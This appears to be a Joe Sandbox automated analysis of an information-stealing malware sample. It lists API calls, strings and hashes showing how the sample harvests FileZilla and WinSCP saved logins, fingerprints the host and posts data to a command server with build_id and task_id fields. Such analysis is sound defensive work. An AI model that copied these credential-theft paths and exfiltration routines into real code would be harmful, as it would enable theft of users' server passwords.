Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436921,0043690B,0043690A,00436907), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

passwords.txt, xrefs: 0040EA4D
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
Login: , xrefs: 0040E98C
<Pass encoding="base64">, xrefs: 0040E88A
Host: , xrefs: 0040E954
<User>, xrefs: 0040E851
<Port>, xrefs: 0040E818
Password: , xrefs: 0040E9AE
<Host>, xrefs: 0040E7D9
Soft: FileZilla, xrefs: 0040E948

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: f949cccef691e6e1433b5b24d581b878c759328a52e9110dbf90affc871fe0ad
Instruction ID: fd63b87309b75f474144e9289f0c2a5cbc93a3f4ace5c824b0701c05e7ba47e5
Opcode Fuzzy Hash: f949cccef691e6e1433b5b24d581b878c759328a52e9110dbf90affc871fe0ad
Instruction Fuzzy Hash: 48A17572A40219ABCF01FBA1DD4AADD7775AF08305F105426F500F30A1EB79AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437990,------,00437984,",task_id,00437970,------,00437964,",mode,00437950,------,00437944), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

", xrefs: 0040737D
9bf5e431869643a2ac397d2dc0d687fb, xrefs: 004070ED
", xrefs: 00406F61
build_id, xrefs: 00407095
", xrefs: 004070C1
------, xrefs: 004073FF
mode, xrefs: 004071F1
------, xrefs: 00406FE3
------, xrefs: 00406E82
------, xrefs: 00406CFC
", xrefs: 004074DD
status, xrefs: 004074B1
task_id, xrefs: 00407351
------, xrefs: 0040729F
------, xrefs: 00407145
", xrefs: 0040721D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$9bf5e431869643a2ac397d2dc0d687fb$build_id$mode$status$task_id
API String ID: 3702379033-2177539516
Opcode ID: b8dbde8d21d4ac6c3c08276e5f210b4e1bff0afe127d540ef39a0c7a6ce8cead
Instruction ID: 794185a1fa7fea4ea139e75ccda2d60adc1beae91ce9f873f04dbe7a568b89d6
Opcode Fuzzy Hash: b8dbde8d21d4ac6c3c08276e5f210b4e1bff0afe127d540ef39a0c7a6ce8cead
Instruction Fuzzy Hash: 4352897194016D9ACF61EB62CD46BCCB375AF04308F4184E7A61D73161DA746FCA8FA8

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D0,------,004378C4,9bf5e431869643a2ac397d2dc0d687fb,",build_id,004378AC,------,004378A0,",00437894,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406080
9bf5e431869643a2ac397d2dc0d687fb, xrefs: 00406471
_wA, xrefs: 004067D8
build_id, xrefs: 00406419
", xrefs: 00406445
------, xrefs: 004064C9
mode, xrefs: 00406575
------, xrefs: 00406367
------, xrefs: 00406206
", xrefs: 004065A1
", xrefs: 004062E5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$9bf5e431869643a2ac397d2dc0d687fb$_wA$build_id$mode
API String ID: 3702379033-1204131116
Opcode ID: f0de5c37048d70951cdf2d716590af8b5cc17008e427d2bdffd0b74d9a4a75be
Instruction ID: d7eca80f77f91b7642c34a4b8a2efe564294a89bb46c215ef7dcca6b5cef4dcb
Opcode Fuzzy Hash: f0de5c37048d70951cdf2d716590af8b5cc17008e427d2bdffd0b74d9a4a75be
Instruction Fuzzy Hash: 7022C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0040E186 Relevance: 51.1, APIs: 15, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368EF), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
HostName, xrefs: 0040E367
UserName, xrefs: 0040E496
Password, xrefs: 0040E515
Host: , xrefs: 0040E32A
Login: , xrefs: 0040E459
PortNumber, xrefs: 0040E3BD
Password: , xrefs: 0040E529
:22, xrefs: 0040E42D
UseMasterPassword, xrefs: 0040E24E
passwords.txt, xrefs: 0040E662
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
Soft: WinSCP, xrefs: 0040E2FE
Security, xrefs: 0040E253

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$Value$Open$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 3303087153-2798830873
Opcode ID: ecb68a3f0fb3f5f29207da25597acd2791be6751dd897dc87ccd0ad97958169b
Instruction ID: 055c08f46d5067d6d834f6975861f9e19b2ff827753642eb3d617421de422a5d
Opcode Fuzzy Hash: ecb68a3f0fb3f5f29207da25597acd2791be6751dd897dc87ccd0ad97958169b
Instruction Fuzzy Hash: C8D1E7B191012DAADF20EB95DC42BD9B778AF04308F5018EBA908B3151DA757FC9CFA5

Function 0041860C Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 0041864D
GetProcAddress.KERNEL32 ref: 00418664
GetProcAddress.KERNEL32 ref: 0041867B
GetProcAddress.KERNEL32 ref: 00418692
GetProcAddress.KERNEL32 ref: 004186A9
GetProcAddress.KERNEL32 ref: 004186C0
GetProcAddress.KERNEL32 ref: 004186D7
GetProcAddress.KERNEL32 ref: 004186EE
GetProcAddress.KERNEL32 ref: 00418705
GetProcAddress.KERNEL32 ref: 0041871C
GetProcAddress.KERNEL32 ref: 00418733
GetProcAddress.KERNEL32 ref: 0041874A
GetProcAddress.KERNEL32 ref: 00418761
GetProcAddress.KERNEL32 ref: 00418778
GetProcAddress.KERNEL32 ref: 0041878F
GetProcAddress.KERNEL32 ref: 004187A6
GetProcAddress.KERNEL32 ref: 004187BD
GetProcAddress.KERNEL32 ref: 004187D4
GetProcAddress.KERNEL32 ref: 004187EB
GetProcAddress.KERNEL32 ref: 00418802
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418813
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418824
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418835
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418846
LoadLibraryA.KERNEL32(?,0041848B), ref: 00418857
GetProcAddress.KERNEL32(75070000,0041848B), ref: 00418873
GetProcAddress.KERNEL32(75FD0000,0041848B), ref: 0041888E
GetProcAddress.KERNEL32 ref: 004188A5
GetProcAddress.KERNEL32(75A50000,0041848B), ref: 004188C0
GetProcAddress.KERNEL32(74E50000,0041848B), ref: 004188DB
GetProcAddress.KERNEL32(76E80000,0041848B), ref: 004188F6
GetProcAddress.KERNEL32 ref: 0041890D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 4332a02b9d0c5ae084649ce964c8752c17ba0114f4f265c81da2c6ba2930f8e7
Instruction ID: bd0feea27713c7d7df585fd29c16e03324b4d812accd9a2583cdf4412740ba17
Opcode Fuzzy Hash: 4332a02b9d0c5ae084649ce964c8752c17ba0114f4f265c81da2c6ba2930f8e7
Instruction Fuzzy Hash: BB711775910312AFEF1ADF61FD488243BA7F70874BF11A426E91582270EB374A64EF54

Function 00413B4F Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,00436874,HWID: ,00436868,GUID: ,0043685C,00000000,MachineID: ,0043684C,00000000,Date: ,00436840,0043683C,004379A4,Version: ,004365B6), ref: 00413DA4

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,00413DB3,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EC2,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F30,?,AV: ,004368BC,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,00436707,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
